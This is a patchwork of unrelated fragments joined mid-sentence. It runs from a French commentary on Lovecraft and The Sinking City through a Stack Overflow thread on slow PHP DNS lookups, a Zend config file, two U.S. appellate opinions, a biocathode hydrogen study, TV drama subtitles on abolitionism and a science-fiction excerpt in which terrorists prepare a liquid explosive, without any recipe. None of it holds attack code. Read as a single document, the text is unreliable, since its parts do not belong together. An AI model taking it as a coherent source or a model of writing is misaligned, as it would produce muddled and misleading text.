Les joueurs verront beaucoup de son savoirs issus de ses textes.
Aujourd'hui on a l'impression que Lovecraft est un nom connu, qu'on le voit un peu partout.
On retrouve sa créature Cthulhu dans un épisode de South Parc,
on trouve Cthulhu en peluches, alors on peut dire c'est peut-être effectivement cette figure de Cthulhu,
cette divinité
géante sous marine avec des tentacules à la place du visage et des grandes ailes dans le dos
qui est une figure particulièrement marquante, mais en tout cas oui,
Lovecraft est reconnu à travers son influence sur des gens
sur des cinéastes comme John carpenter sur différents groupes de heavy metal,
une grande présence dans la bande dessinée.
Lovecraft est un petit peu partout.
Nous aimons beaucoup le rôle du détective, les jeux sur les détectives.
On aime poursuivre l'idée de quelqu'un cherchant quelque chose d'important, peu importe ce que ce soit.
Dans les sujets sur Lovecraft, dans les nouvelles de Lovecraft,
il y a des personnages parfaits pour nos jeux car
dans les nouvelles, il y a cette idée de poursuite, de connaissance de quelque chose de caché.
C'est l'idée principale des œuvres de Lovecraft.
C'est la manne idéale pour nous !
Il s'efforce de ne pas recourir à tout ce qu'il considère comme des vieilleries, qui sont entre autres, le recours
le recours très Edgard Poe au macabre, au gore, à la décomposition des corps, et au sang qui coule.
il s'efforce d'introduire une notion de cosmicisme, comme disait Sergey,
la peur cosmique, la peur de l'inconnu,
une peur qui dépasse les limites de l'humanité,
par l'introduction de choses qui viennent d'ailleurs et qui ne devraient pas être là où
là où elle se trouve et qui provoque le frisson
rien que par le fait de les tenir entre les mains
Nous n'utilisons pas l'aspect survivalisme, mais des éléments de peur psychologique dans The Sinking City.
Depuis les effets directs de peur, comme l'utilisation de monstres par exemple,
des créatures sombres, qu'on ne rencontre dans aucun autre jeu, ou dans la vie réelle,
c'est évident qu'ont a peur de quelque chose qu'on ne connaît pas,
quelque chose qu'on ne comprend pas.
Et cette peur de l'inconnu est représentée par les monstres dans le jeu.
Ce qui est aussi la peur la plus profonde, la plus fondamentale je pense,
c'est celle de ne pas comprendre ce qu'il se passe autours de vous,
Dans les œuvres de Lovecraft,
on retrouve le manifeste de ces peurs ancestrales.
des créatures étranges.
Seuls quelques uns d'entre nous connaissaient ces créatures.
Leur existence est loin de toute compréhension.
Le plus proche vous êtes de cette vérité,
le plus proche vous êtes de cette connaissance.
C'est pourquoi on flirte peu à peu avec la folie.
C'est une folie que Lovecraft a emprunté, ou dont il s'est inspiré d'autres auteurs
antérieures à lui. Un auteur qui l'a beaucoup inspiré en particulier, c'est Maupassant,
avec la fameuse nouvelle le Horla, qui est l'un des grands fondements du fantastique
nouvelle manière, dont Lovecraft est l'un des représentants.
C'est une folie que l'on sent arriver, c'est une folie qui est causée
par la présence de quelque chose, comme dit Sergey, qu'on ne comprend pas
et qui, en fait, ne devrait pas être là,
qui par sa seule présence fait vaciller toute toute une conception du monde
En réalité, nous avons des mécaniques de gameplay dédiées
dans le jeu, dans The Sinking City,
Nous avons une barre bleue près de notre barre de vie,
qui représente notre folie.
Plus bas elle est, et elle descend dès que vous voyez quelque chose de perturbant,
d'étrange, de super-naturel, quelque chose que psychologiquement vous n'êtes pas prêts à affronter,
votre folie va profondément plonger et c'est là que
votre esprit va commencer à vous jouer des tours, à vous montrer des choses étranges.
Pour le personnage évidemment. Il va commencer à avoir des visions,
L'environnement va se dédoubler, changer,
ça va devenir bizarre, déformé.
Les visions en flash-back vont vous assaillir,
des monstres fantomatiques, des créatures vont apparaître sur votre écran,
spécialement lorsque vous combattez quelqu'un.
Quelque chose que vous ne connaissez pas, comme les monstres.
Votre folie va augmenter et vous serez plus sensibles aux dommages que vous feront les véritables monstres.
Alors le mythe chez chez Lovecraft
il a été caractérisé par un auteur, par un de ses livres,
comme une anti mythologie c'est à dire que à l'opposé d'une mythologie comme la mythologie grecque
dont la fonction est de relier l'humanité au cosmos par des explications |
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#endif
Q:
PHP file_get_contents($url) slow performance
My web page uses Google charts to produce five graphs. If the graphs are not already cached, I have the following line of code that retrieves the image.
$image = file_get_contents("http://chart.apis.google.com/chart?".$query);
When that code is executed in a loop, it takes 10 seconds to get each image. But, if I change the code as to use one of Google's ip addresses instead of the url:
$image = file_get_contents("http://74.125.93.100/chart?".$query);
It takes less than one second to retrieve the images. So my initial thought was that DNS is not resolving the URL and the delay is from cycling through the assigned DNS servers? So I tried to ping chart.apis.google.com from the server and it immediately returned a reasonable response.
So my question is: Is there any PHP (or Apache2) configuration setting that I may be overlooking that may cause this delay, or does this sound like a server configuration issue?
A:
Your DNS resolving is slow (the DNS your server is using can be a broblem, then most of the other domains could be slow) or your server has problems using the DNS cache.
In any case, if you don't have some specific reasons to manipulate the image received from google charts, why don't you just print out it as an img tag? You can overlay texts or transparent png-s with css if you want.
A:
Got the same problem here. It might be a DNS issue... maybe the apache server
which use DNS servers that are too slow.
i have tried differents ways: CURL, WGET (shell exec)... and still got the same performance issue.
It takes about 15 seconds on my production server. But on my local server (which uses IP) takes less than 1.5 seconds with my script.
try /etc/resolv.conf or /etc/named.conf? maybe. I am trying to find a solution.
<?php
/**
* If you need an environment-specific system or application configuration,
* there is an example in the documentation
* @see http://framework.zend.com/manual/current/en/tutorials/config.advanced.html#environment-specific-system-configuration
* @see http://framework.zend.com/manual/current/en/tutorials/config.advanced.html#environment-specific-application-configuration
*/
return [
// Retrieve list of modules used in this application.
'modules' => require __DIR__ . '/modules.config.php',
// These are various options for the listeners attached to the ModuleManager
'module_listener_options' => [
// This should be an array of paths in which modules reside.
// If a string key is provided, the listener will consider that a module
// namespace, the value of that key the specific path to that module's
// Module class.
'module_paths' => [
'./module',
'./vendor',
],
// An array of paths from which to glob configuration files after
// modules are loaded. These effectively override configuration
// provided by modules themselves. Paths may use GLOB_BRACE notation.
'config_glob_paths' => [
realpath(__DIR__) . '/autoload/{{,*.}global,{,*.}local}.php',
],
// Whether or not to enable a configuration cache.
// If enabled, the merged configuration will be cached and used in
// subsequent requests.
'config_cache_enabled' => true,
// The key used to create the configuration cache file name.
'config_cache_key' => 'application.config.cache',
// Whether or not to enable a module class map cache.
// If enabled, creates a module class map cache which will be used
// by in future requests, to reduce the autoloading process.
'module_map_cache_enabled' => true,
// The key used to create the class map cache file name.
'module_map_cache_key' => 'application.module.cache',
// The path in which to cache merged configuration.
'cache_dir' => 'data/cache/',
// Whether or not to enable modules dependency checking.
// Enabled by default, prevents usage of modules that depend on other modules
// that weren't loaded.
// 'check_dependencies' => true,
],
// Used to create an own service manager. May contain one or more child arrays.
//'service_listener_options' => [
// [
// 'service_manager' => $stringServiceManagerName,
// 'config_key' => $stringConfigKey,
// 'interface' => $stringOptionalInterface,
// 'method' => $stringRequiredMethodName,
// ],
// ],
// Initial configuration with which to seed the ServiceManager.
// Should be compatible with Zend\ServiceManager\Config.
// 'service_manager' => [],
];
United States Court of Appeals
FOR THE EIGHTH CIRCUIT
___________
No. 98-2145/98-2146
___________
Eddie David Cox, *
*
Appellant, * Appeal from the United States
* District Court for the Western
v. * District of Missouri.
*
United States of America, * [UNPUBLISHED]
*
Appellee. *
___________
Submitted: March 16, 2000
Filed: April 5, 2000
___________
Before HANSEN and FAGG, Circuit Judges, and NANGLE,1 District Judge.
___________
PER CURIAM.
Eddie David Cox was convicted of six counts of impersonating a federal agent,
one count of possession of cocaine with the intent to distribute, two counts of being a
felon in possession of a firearm, and two counts of interference with interstate
commerce by robbery. The district court sentenced Cox to 36 months on each
impersonation charge, 240 months on each robbery charge, 360 months on the drug-
related charge, and life imprisonment on both firearm counts. When Cox filed a 28
1
The Honorable John F. Nangle, United States District Judge for the Eastern
District of Missouri, sitting by designation.
U.S.C. § 2255 motion to vacate, set aside, or correct judgment and sentence, the
district court reduced his 360-month drug offense sentence to 210 months and denied
the balance of his motion without an evidentiary hearing. Cox also moved
unsuccessfully for a reduction of his sentence under 18 U.S.C. § 3582(c)(2). Cox
appeals, and we affirm.
Cox first contends the district court committed error in denying his § 2255
motion without an evidentiary hearing. We disagree. The district court properly denied
Cox's § 2255 motion without a hearing because Cox's allegations, accepted as true, do
not entitle him to relief. See Payne v. United States, 78 F.3d 343, 347 (8th Cir. 1996).
In his § 2255 motion, Cox alleges he received ineffective assistance of counsel because
his trial attorney adopted a defense strategy focusing on the lack of physical evidence
supporting the Government's case rather than following Cox's suggested strategy of
claiming he "was only extorting money from [a drug dealer], rather than robbing him"
(Appellant's Br. at 20) and because Cox's trial counsel did not engage in a reasonable
investigation to support Cox's theory of defense. Cox cannot prevail on this claim of
ineffective assistance because Cox has not shown that, given the alternative trial
strategy suggested by Cox, his counsel's strategy was either unconstitutionally
unreasonable or prejudicial to Cox. See Strickland v. Washington, 466 U.S. 668, 687
(1984); Payne, 78 F.3d at 345-48.
Cox also claims his counsel was ineffective for failing to argue that the armed
career criminal enhancement, see 18 U.S.C. § 924(e), did not apply to Cox.
Specifically, Cox alleges he received a Kansas Certificate of Discharge (certificate),
which restored his civil rights after a 1960 state kidnapping conviction and thus
prohibited counting the kidnapping conviction as one of the three predicate offenses
required to apply the enhancement. Again, we disagree. As the district court
concluded, the certificate did not restore Cox's right to possess firearms for five years
after his release from prison. Due to Cox's extensive criminal activity, he has not been
out of prison for a total of five years since the issuance of the certificate and so the
-2-
certificate has not yet become effective. At his 1990 sentencing, Cox, then age 55, told
the district court that since age 21 he had been out |
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] | dependent. When the cathode potential was not low enough to reduce proton, electrons were bifurcated reducing both high and low redox potential electron carriers. The former is used to reduce sulfate and the latter to reduce proton conserving in both reduction reactions. Based on these facts, it is believed that hydrogen production would be inhibited in the presence of sulfate or sulfate-dependent because SRB conserve more energy reducing sulfate than reducing proton as shown in Figure [6](#F6){ref-type="fig"}. Figure [8](#F8){ref-type="fig"} describes the possible electron bifurcation flow for SRB growth on cathode used to reduce proton and sulfate. Lower sulfate concentration is actually good for SRB respiration (\<288 mg/L) and promoted proton reduction. The hydrogen evolution decrease dramatically when more sulfate was added (\>288 mg/L) as more electrons were utilized by reducing sulfate instead of protons.
![**(A)** Proposed electron flow and possible final destinations of the supplied electrons being utilized in producing various end products (modified after Mand et al., [@B29]), **(B)** description of electron bifurcation flow in sulfate-reducing bacteria-dominated biocathode to generate hydrogen and reduce sulfate.](fchem-06-00318-g0008){#F8}
Last but not least, the finding of the sulfate-dependent hydrogen-producing biocathode has raised the question; what type of wastewaters can be treated by using this technology? The sulfate dependency was due to the SRB domination in the biocathode and a specific range of sulfate concentration was required to maintain the balance and functionality of the biocathode to produce hydrogen while reducing sulfate. Domestic wastewater usually contain low amount of sulfate between 20 and 60 mg/L, although the concentration can be up to 500 mg/L for industrial wastewater (Lens et al., [@B22]; Moussa et al., [@B33]). Conventional sulfate removal technology benefits from the presence of SRB to treat domestic and industrial wastewaters. The benefits include reducing sludge accumulation and pathogen content (if present), removing heavy metals and as anaerobic digestion pre-treatment (van den Brand et al., [@B45]). In the present study, an "optimum" sulfate concentration was 288 mg/L which generated the maximum hydrogen volume. It is recommended to use domestic wastewater to enrich and maintain a hydrogen-producing biocathode, because low amounts of organic compounds and sulfate make it a better medium to enhance the growth of SRB. (Jeremiasse et al., [@B13]; Lee et al., [@B21]).
Drawbacks on low potential, mass transport limitation and long term operation
-----------------------------------------------------------------------------
At the end of experiments, white precipitations could be observed from cathodic chamber (Figure [9A](#F9){ref-type="fig"}). The precipitated compounds were attached along with biomass on the surface of cathode and caused the biocathode performance drop over time. We believe the precipitations that crystallized on the cathode surface was a form of alkali phosphates due to low reduction potentials (Jeremiasse et al., [@B12]). Moreover, recycle flow was connected between outlet and inlet in order to reduce mass transport limitation between bulk solution and the biocathode. Figure [9B](#F9){ref-type="fig"} shows the relationship between current density and the flow rate. Four flow rates were used to test the mass transport limitation: 0, 2.8, 7.1, and 11.4 mL/min. When zero flow rate was applied to the chamber, the current density reduced significantly. Flow rate 7.1 mL/min was selected to use in the experiments as it generated almost similar current density compared to the higher flow rate 11.4 mL/min.
{#F9}
The risk of enriched biocathode contaminated by methanogens under a hydrogen-rich environment after a long time operation have been previously reported (Wagner et al., [@B48]; Kyazze et al., [@B18]; van Eerten-Jansen et al., [@B46]; Bajracharya et al., [@B2]). Figure [10A](#F10){ref-type="fig"} shows performance dropped when methane was first detected in biocathode after 120 days of operation (further data not shown). Hydrogen production dropped remarkably after methane was detected in the biocathode at day 4. Current demand was also increased as more energy was required to support both hydrogen and methane production. Figure [10B](#F10){ref-type="fig"} shows the clean and normal recirculation tubes while Figure [10C](#F10){ref-type="fig"} shows the comparison between the normal and contaminated recirculation tubes when methane was first detected.
{#F10}
Conclusion {#s4}
==========
This study revealed that applied potential, sulfate and inorganic carbon are vital parameters to promote hydrogen production in a biocathode of electrolysis cell. The optimum ratio of PBS: $\text{HCO}_{3}^{-}$: $\text{NH}_{4}^{+}$: $\text{SO}_{4}^{2 -}$ in this study was determined as 950:610:90:288 mg/L (10:10:5:3 mM) for a biocathode sized 0.005 m^2^, operation volume 0.0025 m^3^ and applied potential −1.0 V vs. SHE in a continuous flow rate 0.1 mL/min. The information provided the first insight of how much carbon, nitrogen and sulfate sources that must be presented in the influent in order to provide better operational conditions. Even though the ratio may slightly vary according to the size of reactor, cell configuration and controlling system, the basic principle of how a biocathode catalyzes hydrogen under the influences of those main sources would still remain the same. Besides the ratio, external power supply was required to provide initial energy under low potential electrons to start the biocathode catalytic activity while sulfate served as final terminal electron acceptor to dispose the exhausted electrons. Inorganic carbon in the form of carbonates was added to the influent and worked as carbon backbone to support the growth of biocathode community. As organic carbon compounds were found in the biocathode effluents, it is believed that within the microbial community the inorganic carbon was consumed by acetogens to produce organic carbons such as acetate and then consumed by SRB as carbon source. Another significant finding is the present and quantity of sulfate did affect the hydrogen production in SRB-dominated biocathode. At high sulfate concentration, it could inhibit hydrogen production if the cathode potential was not low enough to reduce both sulfate and proton. The phenomena is similar to those electron bifurcation.
Supplementary data statement {#s5}
============================
Data supporting this publication is openly available under an 'Open Data Commons Open Database License'. (Lim et al., [@B24]) Additional metadata are available at: <https://doi.org/10.17634/150659-2>. Please contact Newcastle Research Data Service at <[email protected]> for access instructions.
Author contributions {#s6}
====================
SL carried out the experiment and wrote the manuscript with support from EY and KS. BK conceived the original idea and suggested on the experiment framework. All authors provided critical feedback and helped shape the research, analysis and manuscript.
Conflict of interest statement
------------------------------
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
This research was financially supported by EPSRC (EP/N009746/1), NERC (NE/L01422X/1), The International Cooperating Project between China and European Union (2014DFE90110) and UKIERI Department of Science & Technology Partnerships (2014-15 S. No. 16). SL was sponsored by Skim Latihan Akedemik IPTA (SLAI) under the Malaysian Ministry of Education (MoE).
[^1]: Edited by: Deepak Pant, Flemish Institute for Technological Research, Belgium
[^2]: Reviewed by: Jung Rae Kim, Pusan National University, South Korea; Mohanakrishna Gunda, Qatar University, Qatar
[^3]: This article was submitted to Green and Sustainable Chemistry, a section of the journal Frontiers in Chemistry
In general, a high-performance portable power supply has been used as a main component of end-products essentially used in all portable information communication |
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] | going anywhere." "Two drops of the laudanum, three times a day." "And that will keep her under." "When her body has time to heal, we'll start to wean her off it." "Will it affect the baby?" "It shouldn't." "But you're not sure?" "Without knowing the extent of what she endured, there's, there's just no knowing." "I must get back to the hospital." "Thank you for coming on such short notice." "Anything for the cause." "I'll keep her in my prayers." "Look at her." "They beat a woman carrying a child to within an inch of her life." "She's a fighter." "She'll pull through it." "She shouldn't have to." "Sorry." "It's just, how do you reason with people capable of this level of violence?" "Georgia?" "The Lawrence boys are here." "I can't lose you, too." "Has the gentleman had a chance to read the menu?" "We'll both have the lapin à la bourguignonne." "So, you got all the way up to Ohio from Georgia." "At least, I'm assuming you made it across the bridge." "I couldn't quite make it out from my vantage point." "So that's what this is all about." "'Cause I left you behind..." "You left me for dead." "And this is about having an honest conversation." "Like gentlemen." "But I get it." "You don't want to talk, 'cause you think you got a plan." "First step in your plan right now is to take me down with that knife you got hidden under the table." "Next, you think you gone run right past Erroll and Roderick, and be out the restaurant before they have a chance to do shit." "But then what?" "Those two guys?" "By the door?" "Mine." "The men outside?" "The police?" "You know, the one good thing about America is that money can buy a lot of strong, powerful, armed friends." "I kind of want to see you try." "But then I think, when was the last time you slept?" "Does Noah got the strength in him for another failed escape?" "Can he stare out through them bars again?" "How long can his beard grow this time?" "A lot of questions come to mind." "But I wonder, for the life of me, do they ever enter yours?" "Truth be told, I don't think you ever think about what happens after your brilliant plans." "So I did the thinking this time, for you." "What happens after this here plan?" "You die." "And you leave that house girl all alone to mourn you." "I have my brother to thank for my introduction to boxing." "He trained for years as a musti-yuddha fighter." "Oh!" "Now who among you's feeling bricky tonight?" "'Cause I've got a hundred quid for any of you lot who think you can survive three rounds with me!" "This man here." "Come on!" "Get over here." "The violence." "Stop swallowing it." "It's a part of you." "It's in there." "Put it in here." "Let yourself be angry." "You deserve to be." "Take it out on them." "And enjoy it." "Fight, for the loss you suffered." "For revenge, on those that scarred you and took your family." "For every slight, big or small, you suffered for daring to exist in their world." "Let them know you do not forget." "Anything else?" "Yes." "Of course I believe that we can influence the vote." "I have faith in people to do the right thing." "Faith is meaningless when not supported by action." "Well, not everyone is corrupt." "There are enough who are." "And the system's corrupt." "The 1855 vote." "It's a perfect example." "Thousands of Southern Yankees crossed into Kansas and voted for a legislature that was pro-slavery." "It was a fraud, and that can happen here too, and we'll lose that seat." "To be sure, but fraud is hardly worthy of the free-stater's response." "How so?" " The murder of five innocent settlers?" " Mm-hmm." "Those who uphold the institution of slavery deal in brutality." "Action is all that they understand." "We live in a peaceful society." "And they do not." "I don't speak to a Scottish man in French." "I speak to him in a language that he understands." "Vous ne parlez pas de lui en Français parce que vous ne savez pas Français." "Excuse me?" "She said, "You don't speak to him in French, because you do not know French."" "That's true." "But I do know" " slavery needs to end." " On that we agree." "I've also seen enough to know the captain's way is the only way." "War is the only way." "It's women and children who are affected most when men wage war." "By condoning it, we're condemning husbands and sons to the slaughter." "I'm sorry, I haven't had the pleasure." "Elizabeth." "Elizabeth." "You mean the white ones." "Husbands and sons?" "The black ones are already condemned." "And who do you think will be affected most by your war?" "Those yet in bondage, who cannot protect themselves that will suffer retaliation," "Or perhaps they'll be inspired to join our ranks." "Together we'll strike a blow to the heart of slavery once and for all." "Hmm, well, since you boys will be in attendance at the rally," "I shall recruit you in helping erect the grandstand." "I'm sure Thad ad Elliot will avail themselves to you." "I have some business to attend to." "What business?" "Just a quick ride, but if you're worried about me, perhaps Elizabeth will join." "As chaperone." "To ensure I stay out of this trouble you accuse me of." "What do you supposed should happen to you now?" "Is it a long and prosperous life with Rosalee?" "Should you actually get your freedom dream?" " Why not?" " Why not?" "Why you?" "What makes you so special?" "Why do you get to be here?" "Hell... everybody got a freedom dream." "Welcome to mine." "No." "You the one who ain't supposed to be here." "I ain't leave you behind to die." "I threw you something to defend yourself with, 'cause I felt sorry for you." " You felt sorry..." " I ain't through yet." "You can sit there in your pristine clothes speaking with the proper white man's tongue." "And you can fool everyone outside there in the civilized world." "You can feel everyone up in here, but you can't fool me." "You're still the snake of a slave driver you was when you left Macon." "I seen you." "You ain't good enough for this here life." "I ain't talking about the money or even the freedom." "You ain't enough of a man to earn drawing breath." "And the thing is, you know it." "Everyone around you knows it." "Everyone who's ever known you." "I thought you wanted an honest conversation." "That's what you wanted, right?" "You wanted to talk, let's talk." "Let's talk about why I'm sitting here and why you ain't out there looking for your wife and your lost little girl." "I don't see 'em up in that big, pretty house." "What you know about family?" "You got none to worry about." "Noah only cares about Noah!" "But you wouldn't have made it off that plantation without me." "Or Moses or Henry." "Yeah." "They deaths on me." "And I would do anything to change it all if I could." "Good." "'Cause now you gon' have your chance to prove it." "Show your true colors." "Today we're gonna exercise our right." "This town we're in is destitute." "And desperate." "Tomorrow the people are gonna vote overwhelmingly to put another rich planter in that seat." "And he isn't gonna do anything for 'em." "The people in this town who are angry with no way to express it are gonna vote with their hate." "And I'm gonna do something to counter that." "'Cause you know what the alternative is?" "Doing nothing." "That's not the captain's way." "Should discourage them tomorrow, don't you think?" "If there had been voters here would you have turned back?" "Nope." "What happened to make you willing to go to such extremes?" "I grew up on the Missouri border." "Walked to school every morning past this tobacco plantation." "Same black faces, working the same crops." "I didn't think anything of it." "I was just a boy." "And then, when I was about nine, on that same path, I heard this sound." "It stopped me in my tracks." "Never heard anything like it, and I haven't since." "I walked to the edge of the field and there's a man, he'd been beaten bloody and locked in the stocks as punishment." "That sound was his son." "To say that he was crying doesn't do it justice." "Every day I walked to and from school, that man and his son were there." "He watched his father waste away in those stocks." "The overseer gave him just enough water to stay alive, nothing more |
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] | 's caress to put her at ease.
"Surely," she observed, collecting herself, "the AAnn can't hope to match this flowering joint effort with one of their own?" Around them, clusters of miners came and went, toiling at flexible shifts. Whenever a new group lay down on benches nearby, the diplomats' conversation shifted to innocuous, generalized topics until the diggers departed. The information being discussed at the small table in the back was too sensitive for general dissemination. It would have to remain so until the grand proposition had been announced to the public.
Lyrkenparmew indicated mild distress. "They've been very busy, the scale-skinned ones. In the area of commercial treaty making they have been especially active. The accumulation of individual wealth occupies greater status among the AAnn and humankind than it does among my people. This similar outlook affords a kind of instant rapport among certain of your kind and many of the AAnn." His truhands were in constant motion, making it difficult for Fanielle to follow every subtle overtone of the conversation.
"Many covenants have been proposed between AAnn and human, and several adopted, but nothing like the Commonwealth. The AAnn would never contemplate such an intimate union with anyone." He let out a series of shrill clicks. "They are too enamored of their own imagined destiny as rulers of this part of the galaxy to ever surrender any real control to another species. But beyond that, they are quite willing to consider all manner of agreements."
"The problem," Haflunormet continued, "is that too many humans are easily blinded by promises of the riches to be gained from trade with the scaled ones, who are not above bribing your people to secure support, special treatment, and whatever other perks they believe they can so acquire."
Fanielle was embarrassed for people she did not know and would never meet. "My kind have come a long way from the time when we used to beat one another's heads in for the most insignificant reasons. But there still exist those who crawl through life as ethical hemophiliacs."
"What they don't realize," Lyrkenparmew went on solemnly, "is that opportunism is ingrained in the AAnn social structure. They will treat fairly when it best suits their needs, and break legs when it does not. The grief arises from their skill. They have made a science of duplicity. I am not saying that humans are naÏve, but there is no sentient in the known universe as crafty, sly, and cunning as a mature, experienced AAnn." He gestured mild apology of oversight. "But then, there is no need for me to tell you this. You have already met one such."
She nodded. "The emissary in question could charm a _sifla_ out of its _morgewout_. When not tearing out your throat."
Haflunormet whistle-clicked concurrence. "His reputation spreads wider than does his water."
"I know he charmed a colleague of mine back at the compound." She looked straight at Haflunormet. "Mind the name 'Jorge Sertoa.' He's a very clever fellow, but a bit of cold plasma. Has dark matter in place of a backbone." At the dual gestures of bemusement from her companions, she hurried to modify the simile. "Sorry—in place of his predominate dorsal chitin." At this clarification, they gesticulated knowingly.
"And he's not alone in his sympathies for the AAnn. There are others at the settlement who feel similarly, though I'm happy to say they're in the minority. When the proposal is announced, I think you'll be able to count on the support of the majority of the staff, diplomatic and support personnel alike, at Azerick." Her expression hardened. "I'll arrange to keep an eye on Jorge and the others so they don't cause any trouble."
Lyrkenparmew indicated understanding. "Everything is suddenly starting to move very rapidly. There is a sense of great events having been set inexorably in motion. I hardly need tell either of you that if this proposal goes down to defeat, it could be fifty or a hundred cycles before anyone dares to bring it up again. Failure carries with it the concurrent risk that the opponents of unification, alarmed by the boldness of the proposition, will unite in even more formidable leagues to oppose any reconsideration." His voice lowered as his clicking subsided to the intensity of pins landing on a metal sheet.
"I'm not trying to alarm you, but this is the way the gist is seen. Our first chance may very well prove to be our best chance, if not necessarily our last."
"I wonder if it's too soon." Fanielle almost leaned back on her bench before she remembered that it had no back. "I wonder if we're pushing too much too fast."
The genial twisting of Lyrkenparmew's truhands insinuated inevitability. "Those in charge of making such decisions feel they have no choice but to press for the establishment of the complete Commonwealth. Now that the concept has been brokered, it has gained a momentum all its own. It is like entering into a burrow that has been slimed. Once you've started downward, there's no stopping until you reach the bottom."
Haflunormet drained the last of his drink. It was nearing time to leave, lest they become too conspicuous. "This will be the cycle that the progeny of our clans will venerate forever."
" _If_ our designs are fulfilled." Lyrkenparmew slipped sideways off his bench while Fanielle straightened and stretched. Her back was stiff from sitting so long in one place without any support.
"I suppose I'll be heading back to the plateau in a few days." She checked her comm unit. "They won't be expecting me so early, but no one will question the timing of my return." She smiled wryly. "After all, what right-minded human could stand more than a couple of days of vacation in a place like Daret?"
"We are all of us hoping," Lyrkenparmew commented quietly as they left the table behind and headed for the transport platform, "that it is individuals like yourself who are the right-minded humans."
Reaching out, she momentarily rested the flat of her hand against the back of the envoy's abdomen, feeling his upper set of wing cases vibrate against her palm. "I'm not alone in liking your kind, Lyrkenparmew, and not just for the ever-amazing variety of wonderful fragrances you emit, or for your aid in the Pitarian War. There are plenty of us who are fond of thranx culture, and philosophy, and your way of looking at the universe. It's minds we seek in common, not shapes."
"How fortunate." The widely spaced nerve endings in Lyrkenparmew's exoskeleton conveyed to him the warmth of the barely insulated mammalian flesh. Such a strange sensation it was, to be accompanied by a creature that was little more than a loose sack of fluids wrapped around a barely balanced upright bony framework held together by fragile bonds of stretched protein. That this female's often erratic kind might be the ones to at last put an end to centuries of AAnn depredations was scarce to be believed. Many thranx, in fact, would not believe it.
They would have to be convinced.
17
Conversation in the room was subdued. Skettle let them talk. It helped to relieve the tension. As Nevisrighne and Botha, Pierrot and Davies and the others chatted quietly, the old man looked on with pride. In a stern, paternal fashion he was as proud of them as if they were his real children. Very soon now they would join gloriously together, patriarch and progeny, to sow destruction in order to prevent an onslaught of racial commingling of a kind their virtuous ancestors could never in their wildest dreams have imagined.
Walking over to where Botha was seated poring one last time over his beloved charts, he put a hand on the other man's shoulder. "The special explosives are ready?"
The other man adjusted his multifunction lenses and nodded. "It's a shame we couldn't disguise them the way we did the smaller stuff and just bring them in with us. I'd feel better knowing the full provenance of the ingredients."
"I know. But even a couple of small tanks of highly sensitive reactant would have set off alarms in customs. How fortunate that you and our other equally brilliant technical people have been able to devise a liquid explosive that can be produced from widely available materials."
Botha allowed himself a rare grin. "Catalyzed right here in their own city, too. Anyone reviewing the purchases would think one group was going to mix up some lacquer to paint a house, and the other a few crates of home brew."
"Home brew it is," Skettle replied, "only this blend is not for drinking." He raised his gaze to the far corner of the hotel's reserved and shielded conference room. The pair of trivarium tanks standing upright on the floor near the window—through which they could be hastily chucked in the event of a lightning raid by the authorities—were small, light, exceptionally strong, resistant to the caustic liquids they were originally designed to hold, and of a familiar commercial design that would spark no alarms in the minds of anyone who happened to see them. For |
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Organizing contacts by last name for display in an alphabetized list
Contacts each have a first_name and last_name. In my index for contacts, I display a list default_scoped by last_name in ASC order. This works OK, but I'm looking to make it better.
I want to create an organized list in the index that groups contacts by the first letter of their last name, and I'm sort of stuck on how to get this done. The result would look like:
<div class="contacts" id="contact_list_a">
<h2>A</h2>
<div class="contact">John Abercrombie</div>
<div class="contact">Julie Aloters</div>
</div>
<div class="contacts" id="contact_list_b">
<h2>B</h2>
<div class="contact">Harry Bronson</div>
<div class="contact">Stevie Brussels</div>
</div>
...(continues)
I only see two options so far because of my inexperience:
1) I could create a variable for each letter of the alphabet, and add contacts where appropriate to each. This creates tons of calls to the DB (I'm assuming), and the abundance of variables in my controller doesn't seem elegant at all.
2) I could pull all contacts from my model into a single variable (what I'm doing now), then in my controller create a private method which iterates through the array and assigns new variables accordingly. This |
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38
] | a fast-food restaurant, John and Jonathan picked up Appellant, who had been walking along the side of the road. According to Jonathan's testimony, the three of them proceeded to a fast-food restaurant. John then directed Jonathan to drive to an apartment complex, but suddenly demanded that Jonathan stop the vehicle so he could urinate behind a building. Jonathan stopped the car at Sunbelt Rentals. Shortly after John exited the vehicle, Jonathan heard glass break from the direction of Sunbelt Rentals.
In his statement to police, Jonathan averred Appellant exited the vehicle upon hearing the glass break. He saw John *632 and Appellant carrying stolen saws from the store to the car. According to his sworn statement, John and Appellant loaded the saws into the car and demanded Jonathan drive away.
Officer Jenkins witnessed the vehicle, with its headlights off, pulling out of the parking lot of Sunbelt Rentals. The officer, who had been traveling in the opposite direction of the Crawfords, turned around to follow Jonathan's vehicle. Jonathan sped up, and the officer activated his blue lights. Officer Jenkins testified that it appeared as though objects were being thrown out of the sunroof. In his statement, Jonathan claimed that upon seeing the police car, Appellant handed John the saws from the backseat, and John threw the saws out of the vehicle's passenger side window. Appellant ran from police once the vehicle was stopped. Bolt cutters, gloves, and newly purchased flashlights were found in the vehicle.
The police charged Jonathan, John, and Appellant with conspiracy, burglary, and grand larceny. All charges against Jonathan subsequently were dropped. John pled guilty to all the charges and was sentenced to a total of fifteen years in prison. At Appellant's trial, John claimed full responsibility for the crimes: "[n]either one of them ... had really anything to do with it.... [I]f he would have helped me or somebody would have helped me, I wouldn't have gotten caught." According to John, neither Jonathan nor Appellant knew his intention to break into Sunbelt Rentals.
Jonathan's trial testimony differs substantially from the statement he gave to police. In court, Jonathan proclaimed: "... I don't know if Bernard Crawford got out of the car between the time that he ran in the building and came back." He stated further: "I had tunnel vision. I didn't look around and look back. I didn't see anything `til my father put the saws in the back seat and jumped in the front seat and said, `Let's go.'" Jonathan testified that John slapped him and may have slapped at Appellant as well. John yelled at them both demanding they obey his orders. Jonathan remembered Appellant telling John: "you basically just got us in trouble, you know, for your stupidity."
When the State rested its case, Appellant moved for a directed verdict as to all charges. The trial court denied the motion, concluding that substantial evidence was extant in the *633 record from which the jury could infer that the State had proven the elements of each of the offenses, focusing particularly on Jonathan's previous statement to police about Appellant's involvement. The jury found Appellant guilty of criminal conspiracy and acquitted him of the remaining charges. The trial court sentenced Appellant to five years in prison.
STANDARD OF REVIEW
